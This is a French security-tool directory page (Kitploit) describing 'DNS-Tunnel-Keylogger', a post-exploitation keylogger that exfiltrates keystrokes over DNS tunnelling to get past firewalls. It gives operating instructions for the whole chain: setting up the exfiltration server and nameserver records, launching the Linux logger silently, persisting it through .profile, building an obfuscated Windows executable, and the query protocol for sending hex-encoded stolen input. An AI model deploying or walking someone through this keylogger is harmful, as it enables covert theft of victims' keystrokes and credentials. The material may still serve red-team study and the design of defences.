Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DNS-Tunnel-Keylogger — Serveur et client de keylogging qui utilisent le tunneling/exfiltration DNS pour transmettre les frappes au clavier à travers les pare-feux. | Kitploit
Outils/GitHubGitHub/geeoon/dns-tunnel-keylogger
Exfiltration de DonnéesPost-ExploitationCommandement et ContrôleRed TeamingAnalyse DNS
GitHubgeeoon/dns-tunnel-keylogger

DNS-Tunnel-Keylogger

Serveur et client de keylogging qui utilisent le tunneling/exfiltration DNS pour transmettre les frappes au clavier à travers les pare-feux.

Voir le dépôt
28045il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Keylogger par Tunnel DNS

Ce keylogger post-exploitation exfiltre furtivement les frappes clavier vers un serveur.

Ces outils excellent dans l'exfiltration légère et la persistance, des propriétés qui empêchent la détection. Ils utilisent le tunneling DNS pour contourner les pare-feux et éviter la détection.

Serveur

Configuration

Le serveur utilise python3.

Pour installer les dépendances, exécutez python3 -m pip install -r requirements.txt

Démarrage du serveur

Pour démarrer le serveur, exécutez python3 main.py

root@kitploit:~
usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

Par défaut, le serveur écoute sur le port UDP 53. Utilisez l'option -p pour spécifier un autre port.

ip est l'adresse IP du serveur. Elle est utilisée dans les enregistrements SOA et NS, qui permettent aux autres serveurs de noms de trouver le serveur.

domain est le domaine à écouter, qui doit être le domaine pour lequel le serveur est autoritaire.

Registre

Sur le registre, vous devez changer l'espace de noms de votre domaine en DNS personnalisé.

Pointer les vers deux domaines, ns1.example.com et ns2.example.com.

Custom DNS on Spaceship

Ajoutez des enregistrements qui pointent les domaines d'espace de noms vers l'adresse IP de votre serveur d'exfiltration.

Personal Nameservers on Spaceship

C'est la même chose que de définir des enregistrements glue.

Client

Linux

Le keylogger Linux est composé de deux scripts bash. connection.sh est utilisé par le script logger.sh pour envoyer les frappes clavier au serveur. Si vous souhaitez envoyer manuellement des données, comme un fichier, vous pouvez les rediriger vers le script connection.sh. Il établira automatiquement une connexion et enverra les données.

logger.sh

root@kitploit:~
Usage: logger.sh [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

Pour démarrer le keylogger, exécutez la commande ./logger.sh [domain] && exit. Cela démarrera silencieusement le keylogger, et toutes les entrées tapées seront envoyées. Le && exit à la fin fera que le shell se fermera lors de exit. Sans cela, quitter vous ramènera au shell non enregistré. Supprimez le &> /dev/null pour afficher les messages d'erreur.

L'option -p spécifie l'emplacement du fichier journal temporaire où toutes les entrées sont envoyées. Par défaut, c'est /tmp/.

L'option -l affiche les avertissements et les erreurs. Peut être utile pour le débogage.

logger.sh et connection.sh doivent être dans le même répertoire pour que le keylogger fonctionne. Si vous voulez de la persistance, vous pouvez ajouter la commande au fichier .profile pour qu'elle démarre à chaque nouveau shell interactif.

connection.sh

root@kitploit:~
Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

Compilation

Pour compiler le programme de keylogging, exécutez make dans le répertoire windows. Pour compiler avec une taille réduite et un certain niveau d'obscurcissement, utilisez la cible production. Cela créera le répertoire build pour vous et produira un fichier nommé logger.exe dans le répertoire build. Je n'ai testé la compilation qu'avec MinGW sur Windows 10. Si vous essayez d'utiliser g++ sur une machine non Windows, vous obtiendrez probablement des erreurs de compilation liées à windows.h.

make production domain=example.com

Vous pouvez également choisir de compiler le programme avec le débogage en utilisant la cible debug.

make debug domain=example.com

Pour les deux cibles, vous devrez spécifier le domaine que le serveur écoute.

Envoi de requêtes de test

Vous pouvez utiliser dig pour envoyer des requêtes au serveur :

dig @127.0.0.1 a.1.1.1.example.com A +short envoie une requête de connexion à un serveur sur localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short envoie un message de test à localhost.

Remplacez example.com par le domaine que le serveur écoute.

Protocole

Démarrage d'une connexion

Les requêtes d'enregistrement A commençant par a indiquent le début d'une 'connexion'. Lorsque le serveur les reçoit, il répond avec une fausse adresse IP non réservée dont le dernier octet contient l'identifiant du client.

Le format à suivre pour démarrer une connexion est le suivant : a.1.1.1.[sld].[tld].

Le serveur répondra avec une adresse IP au format suivant : 123.123.123.[id]

Les connexions simultanées ne peuvent pas dépasser 254, et les clients ne sont jamais considérés comme 'déconnectés'.

Exfiltration des données

Les requêtes d'enregistrement A commençant par b indiquent des données exfiltrées envoyées au serveur.

Le format à suivre pour envoyer des données après avoir établi une connexion est le suivant : b.[packet #].[id].[data].[sld].[tld].

Le serveur répondra avec [code].123.123.123

id est l'identifiant établi lors de la connexion. Les données sont envoyées sous forme ASCII encodées en hexadécimal.

code est l'un des codes décrits ci-dessous.

Codes de réponse

200: OK

Si le client envoie une requête traitée normalement, le serveur répondra avec le code 200.

201: Requêtes d'enregistrement malformées

Si le client envoie une requête d'enregistrement malformée, le serveur répondra avec le code 201.

202: Connexions inexistantes

Si le client envoie un paquet de données avec un identifiant supérieur au nombre de connexions, le serveur répondra avec le code 202.

203: Paquets hors séquence

Si le client envoie un paquet avec un identifiant de paquet qui ne correspond pas à ce qui est attendu, le serveur répondra avec le code 203. Les clients et les serveurs doivent réinitialiser leurs numéros de paquet à 0. Ensuite, le client peut renvoyer le paquet avec le nouvel identifiant de paquet.

204 Nombre maximum de connexions atteint

Si le client tente de créer une connexion alors que le maximum est atteint, le serveur répondra avec le code 204.

Paquets perdus

Les clients doivent se fier aux réponses comme accusés de réception des paquets reçus. S'ils ne reçoivent pas de réponse, ils doivent renvoyer la même charge utile.

Notes complémentaires

Linux

Fichier journal

Le fichier journal contenant les entrées utilisateur contient des caractères de contrôle ASCII, comme backspace, delete et retour chariot. Si vous imprimez le contenu avec quelque chose comme cat, vous devez sélectionner l'option appropriée pour afficher les caractères de contrôle ASCII, comme -v pour cat, ou l'ouvrir dans un éditeur de texte.

Shells non interactifs

Le keylogger dépend de script, donc il ne fonctionnera pas dans les shells non interactifs.

Windows

Requêtes répétées

Pour une raison quelconque, le Dns_Query_A de Windows envoie toujours des requêtes en double. Le serveur les traitera correctement car il ignore les paquets répétés.

Télécharger l’outil